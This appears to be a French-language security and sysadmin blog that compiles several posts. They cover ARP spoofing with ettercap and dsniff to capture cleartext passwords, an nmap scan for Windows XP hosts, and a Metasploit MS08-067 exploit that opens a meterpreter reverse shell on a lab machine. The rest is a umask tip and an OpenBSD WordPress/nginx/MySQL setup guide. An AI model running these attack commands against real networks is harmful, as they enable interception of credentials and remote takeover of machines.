| TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
| compressors:
| NULL
| TLSv1.2:
| ciphers:
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 - strong
| TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 - strong
| TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 - strong
| TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 - strong
| TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 - strong
| TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 - strong
| compressors:
| NULL
|_ least strength: strong
MAC Address: 08:00:27:9C:95:DE (Cadmus Computer Systems)
Nmap done: 1 IP address (1 host up) scanned in 0.64 seconds

Qu’est-ce qu’une suite cryptographique?

Faire de l’ARP spoofing ou ARP poisoning

Il est très simple, sur le même segment réseau, de se faire passer pour la passerelle…

On active l’IP forwarding :

$ sudo sysctl -w net.ipv4.ip_forward=1

On lance ettercap :

$ sudo ettercap -T -M arp /@IP_PASSERELLE/ /@IP_VICTIME/

Enfin on écoute le réseau avec un outil qui nous affichera les mots de passe transitant en clair pour notamment les protocoles FTP, TELNET, SMTP et HTTP!

$ sudo dsniff -mc -n

Avec ettercap (notamment en mode graphique) on peut réaliser des MITM plus sophistiqués! Aussi, on peut uiliser tout un tas d’autres outils sympa : mailsnarf, filesnarf, urlsnarf

Dans un contexte de MITM on peut utiliser dnsspoof! il sera alors possible d’intercepter les requètes dns… et de renvoyer un résultat en fonction de notre propre un fichier host (option -f)

Attaquer un Windows XP avec Metasploit…

Lancement de metasploit :

$ sudo msfconsole

Utilisation de l’exploit « ms08_067_netapi » :

msf > use exploit/windows/smb/ms08_067_netapi 
msf exploit(ms08_067_netapi) >

On affiche les options :

msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

On indique l’IP de la machine cible dans l’attribut « RHOST » :

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.4
RHOST => 192.168.1.4

Chargement du payload « reverse_tcp » (pour obtenir le meterpreter) :

msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

On ré-affiche les options (on y voit les nouvelles otpions liées au payload) :

msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.1.4      yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

On précise les options manquantes (ici l’IP et port de la machine locale) :

msf exploit(ms08_067_netapi) > set LHOST 192.168.1.33
LHOST => 192.168.1.33
msf exploit(ms08_067_netapi) > set LPORT 6666
LPORT => 6666

Lancement de l’exploit pour avoir le meterpreter :

msf exploit(ms08_067_netapi) > exploit 

[*] Started reverse handler on 192.168.1.33:6666 
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.4
[*] Meterpreter session 2 opened (192.168.1.33:6666 -> 192.168.1.4:1044) at 2013-05-03 03:27:25 -0700

meterpreter >

Et voilà.. après on peut obtenir l’invite de commande MS Windows (commande « shell »), faire une capture d’écran, faire du déport d’affichage (vnc), récupérer les hashs des mots passes présents en mémoire…

Traquer Windows XP avec nmap…

… avec l’utilisation des scripts nmap smb-os-discovery.nse et smb-system-info.nse

On lance nmap (ici depuis la distribution kali-linux) afin de scanner notre plage IP :

root@kali# cd /usr/share/nmap
root@kali:/usr/share/nmap# nmap -sV --script=scripts/smb-os-discovery.nse,scripts/smb-system-info.nse 192.168.0.0/24

Starting Nmap 6.25 ( http://nmap.org ) at 2014-11-21 10:04 CET
...

Nmap scan report for 192.168.0.53
Host is up (0.0011s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows XP microsoft-ds
3389/tcp open  ms-wbt-server Microsoft Terminal Service
MAC Address: 08:00:27:36:14:2E (Cadmus Computer Systems)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: ie6winxp
|   NetBIOS computer name: IE6WINXP
|   Workgroup: MSHOME
|_  System time: 2014-11-21T01:02:50-08:00
|_smb-system-info: ERROR: Script execution failed (use -d to debug)

...

On voit clairement le ou les Windows XP.. On peut affiner en ne scannant que certains ports (option -p)

Par défaut nmap utilise le Scan TCP SYN (option -sS), ce qui permet de scanner des milliers de ports par seconde sans faire la session TCP jusqu’au bout..
http://nmap.org/man/fr/man-port-scanning-techniques.html

Pour faire des tests de vulnérabilités, on peut encore télécharger une image toute faite de windows XP ici : https://www.modern.ie/fr-fr/virtualization-tools

[confidentialité] Protection d’un fichier avec umask

Pour mettre un secret dans un fichier, on est tenté de faire :

touch /etc/racoon/secret.txt
chmod 600 /etc/racoon/secret.txt
vi/etc/racoon/secret.txt

Sauf qu’il faut absolument rendre atomique l’opération de création et d’ajustement des permissions : l’attaquant peut ouvrir un descripteur de fichier entre la création du fichier et l’ajustement des droits!

Ce qu’il est donc préconisé de faire :

umask 0066
touch /etc/racoon/secret.txt
vi/etc/racoon/secret.txt

Après, on pourra remettre une valeur moins restrictive pour umask :

umask 0022

OpenBSD 5.4, WordPress et Nginx

Voici comment installer WordPress sur OpenBSD.

Pour installer un package, on renseigne la variable PKG_PATH :

$ sudo export PKG_PATH=ftp://ftp.openbsd.org/pub/OpenBSD/5.4/packages/amd64/

On installe php-fpm qui ajoutera les dépendances (notamment php-5.3.27) :

$ sudo pkg_add php-fpm
Ambiguous: choose dependency for php-fpm-5.3.27:
a       0: php-5.3.27
1: php-5.3.27
Your choice: 1
php-fpm-5.3.27:libiconv-1.14p0: ok
php-fpm-5.3.27:libxml-2.9.0p0: ok
php-fpm-5.3.27:gettext-0.18.2p3: ok
php-fpm-5.3.27:femail-0.98: ok
php-fpm-5.3.27:femail-chroot-0.98p2: ok
php-fpm-5.3.27:php-5.3.27: ok
php-fpm-5.3.27: ok
The following new rcscripts were installed: /etc/rc.d/php_fpm
See rc.d(8) for details.
Look in /usr/local/share/doc/pkg-readmes for extra documentation.
--- +php-5.3.27 -------------------
To enable the php-5.3 module please create a symbolic link from
/var/www/conf/modules.sample/php-5.3.conf to
/var/www/conf/modules/php.conf. As root:

ln -sf /var/www/conf/modules.sample/php-5.3.conf /var/www/conf/modules/php.conf

The recommended php configuration has been installed to:
/etc/php-5.3.ini.

Comme indiqué, on crée le lien pour activer le module :

$ sudo ln -sf /var/www/conf/modules.sample/php-5.3.conf /var/www/conf/modules/php.conf

Modification du fichier /etc/php-fpm.conf : on indique listen = /var/www/tmp/php.sock à la place de listen = 127.0.0.1:9000

Paramètres à rajouter dans /etc/nginx/nginx.conf :

# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
location ~ .php$ {
root /var/www/htdocs;
fastcgi_pass unix:/tmp/php.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}

Dans /etc/rc.conf.local (pour un lancement des services au démarrage) :

nginx_flags=””
pkg_scripts=”php_fpm”

Démarrage des services :

$ sudo /etc/rc.d/nginx start
$ sudo /etc/rc.d/php_fpm start

On peut tester l’installation et le fonctionnement de php en lançant une requête vers http://mon-site.fr/info.php après avoir fait ceci :

$ sudo echo '' > /var/www/htdocs/info.php
$ sudo chown www.www /var/www/htdocs/info.php

Installation d’un serveur MySQL :

$ sudo pkg_add mysql-server
mysql-server-5.1.70v0:mysql-client-5.1.70v0: ok
mysql-server-5.1.70v0:p5-Net-Daemon-0.48: ok
mysql-server-5.1.70v0:p5-PlRPC-0.2018p1: ok
mysql-server-5.1.70v0:p5-FreezeThaw-0.5001: ok
mysql-server-5.1.70v0:p5-MLDBM-2.05: ok
mysql-server-5.1.70v0:p5-Params-Util-1.07: ok
mysql-server-5.1.70v0:p5-Clone-0.34: ok
mysql-server-5.1.70v0:p5-SQL-Statement-1.33: ok
mysql-server-5.1.70v0:p5-DBI-1.622: ok
mysql-server-5.1.70v0:p5-DBD-mysql-4.023p0: ok
mysql-server-5.1.70v0: ok
The following new rcscripts were installed: /etc/rc.d/mysqld
See rc.d(8) for details.
Look in /usr/local/share/doc/pkg-readmes for extra documentation.
$

Post installation :

$ sudo /usr/local/bin/mysql_install_db
Installing MySQL system tables...
140307 16:17:55 [Warning] '--skip-locking' is deprecated and will be removed in a future release. Please use '--skip-external-locking' instead.
OK
Filling help tables...
140307 16:17:55 [Warning] '--skip-locking' is deprecated and will be removed in a future release. Please use '--skip-external-locking' instead.
OK

PLEASE REMEMBER TO SET A PASSWORD FOR THE MySQL root USER !
To do so, start the server, then issue the following commands:

/usr/local/bin/mysqladmin -u root password 'new-password'
/usr/local/bin/mysqladmin -u root -h girafe.lenorcy.fr password 'new-password'

Alternatively you can run:
/usr/local/bin/mysql_secure_installation

which will also give you the option of removing the test
databases and anonymous user created by default.  This is
strongly recommended for production servers.

See the manual for more instructions.

Please report any problems with the /usr/local/bin/mysqlbug script!

On fait ce que le monsieur demande, on lance le serveur :

$ sudo /usr/local/bin/mysqld_safe &

.. et on finalise l’installation en sécurisant les accès :

$ sudo /usr/local/bin/mysql_secure_installation

NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED FOR ALL MySQL
SERVERS IN PRODUCTION USE!  PLEASE READ EACH STEP CAREFULLY!

In order to log into MySQL to secure it, we'll need the current
password for the root user.  If you've just installed MySQL, and
you haven't set the root password yet, the password will be blank,
so you should just press enter here.

Enter current password for root (enter for none):
OK, successfully used password, moving on...

Setting the root password ensures that nobody can log into the MySQL
root user without the proper authorisation.

Set root password? [Y/n] Y
New password:
Re-enter new password:
Password updated successfully!
Reloading privilege tables..
... Success!

By default, a MySQL installation has an anonymous user, allowing anyone
to log into MySQL without having to have a user account created for
them.  This is intended only for testing, and to make the installation
go a bit smoother.  You should remove them before moving into a
production environment.

Remove anonymous users? [Y/n]
... Success!

Normally, root should only be allowed to connect from 'localhost'.  This
ensures that someone cannot guess at the root password from the network.

Disallow root login remotely? [Y/n]
... Success!

By default, MySQL comes with a database named 'test' that anyone can
access.  This is also intended only for testing, and should be removed
before moving into a production environment.

Remove test database and access to it? [Y/n]
- Dropping test database...
... Success!
- Removing privileges on test database...
... Success!

Reloading the privilege tables will ensure that all changes made so far
will take effect immediately.

Reload privilege tables now? [Y/n]
... Success!

Cleaning up...

All done!  If you've completed all of the above steps, your MySQL
installation should now be secure.

Thanks for using MySQL!

Est-ce que MySQL tourne?

$ sudo fstat | grep "*:" | grep mysql
_mysql   mysqld     18833   11* internet stream tcp 0xfffffe8074df0050 *:3306

On modifie /etc/rc.conf.local :

pkg_scripts="php-fpm mysqld"

On crée la base et l’utilisateur pour WordPress :

$ sudo mysql -u root -h localhost -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or g.
Your MySQL connection id is 11
Server version: 5.1.70-log OpenBSD port: mysql-server-5.1.70v0

Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or 'h' for help. Type 'c' to clear the current input statement.

mysql> CREATE DATABASE wordpressdb;
Query OK, 1 row affected (0.01 sec)

mysql> GRANT ALL ON wordpressdb.* to wpuser@localhost IDENTIFIED BY '*** mon scret ***';
Query OK, 0 rows affected (0.00 sec)

mysql> SHOW DATABASES;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| wordpressdb        |
+--------------------+
3 rows in set (0.00 sec)

mysql> q
Bye

On installe WordPress :

$ sudo pkg_add wordpress
wordpress-3.5.2:php-mysql-5.3.27: ok
wordpress-3.5.2: ok
Look in /usr/local/share/doc/pkg-readmes for extra documentation.
--- +php-mysql-5.3.27 -------------------
You can enable this module by creating a symbolic link from
/etc/php-5.3.sample/mysql.ini to
/etc/php-5.3/mysql.ini. As root:

ln -sf /etc/php-5.3.sample/mysql.ini /etc/php-5.3/mysql.ini

$ ln -sf /etc/php-5.3.sample/mysql.ini /etc/php-5.3/mysql.ini

On copie l’arborescence du blog WordPress là où on le souhaite :

$ sudo cp -rp /var/www/wordpress /var/www/htdocs/blog
$ sudo chown -R www:www /var/www/htdocs/blog/
$ sudo chmod -R g+w /var/www/htdocs/blog/

On rend accessible en lecture le fichier de configuration de php au groupe www :

$ sudo chown root:www /etc/php-5.3.ini
$ sudo chmod 640 /etc/php-5.3.ini

Comme Nginx est en environnement Chrooté, il faut tout de même permettre l’accès à la socket mysql :

$ sudo mkdir -p /var/www/var/run/mysql/
$ sudo ln -f /var/run/mysql/mysql.sock /var/www/var/run/mysql/mysql.sock

Ce lien doit être régénéré à chaque redémarrage de MySQL… On peut par exemple créé ce lien dans /etc/rc.local.

…puis à un fichier resolv.conf que l’on recrée pour permettre la résolution de noms (avec par exemple le DNS de google) :

$ sudo mkdir -p /var/www/etc/
$ sudo echo "nameserver 8.8.8.8" > /var/www/etc/resolv.conf
$ sudo chown root:www /var/www/etc/resolv.conf
$ sudo chmod 640 /var/www/etc/resolv.conf

On peut vérifier que les résolutions DNS se font bien depuis l’application :

$ sudo tcpdump -Xni em0 port 53
tcpdump: listening on em0, link-type EN10MB
tcpdump: WARNING: compensating for unaligned libpcap packets
11:01:48.075462 X.Y.Z.W.15350 > 8.8.8.8.53: 64232+ A? api.wordpress.org. (35)
  0000: 4500 003f 757a 0000 4011 83c0 d453 9d10  E..?uz..@....S..
  0010: 0808 0808 3bf6 0035 002b 973b fae8 0100  ....;..5.+.;....
  0020: 0001 0000 0000 0000 0361 7069 0977 6f72  .........api.wor
  0030: 6470 7265 7373 036f 7267 0000 0100 01    dpress.org.....

11:01:48.086135 8.8.8.8.53 > X.Y.Z.W.15350: 64232 3/0/0 CNAME wordpress.org., A 66.155.40.250, (81)
  0000: 4500 006d d974 0000 3111 2e98 0808 0808  E..m.t..1.......
  0010: d453 9d10 0035 3bf6 0059 835d fae8 8180  .S...5;..Y.]....
  0020: 0001 0003 0000 0000 0361 7069 0977 6f72  .........api.wor
  0030: 6470 7265 7373 036f 7267 0000 0100 01c0  dpress.org......
  0040: 0c00 0500 0100 0026 7a00 02c0 10c0 1000  .......&z.......
  0050: 0100 0100 0000 4e00 0442 9b28 fac0 1000  ......N..B.(....
  0060: 0100 0100 0000 

Enfin, on peut finir l’installation de WordPress via l’interface web : http://mon-site.fr/blog/wp-admin/install.php … et il faut mettre à jour WordPress (toujour depuis l’interface web) pour avoir la toute dernière version!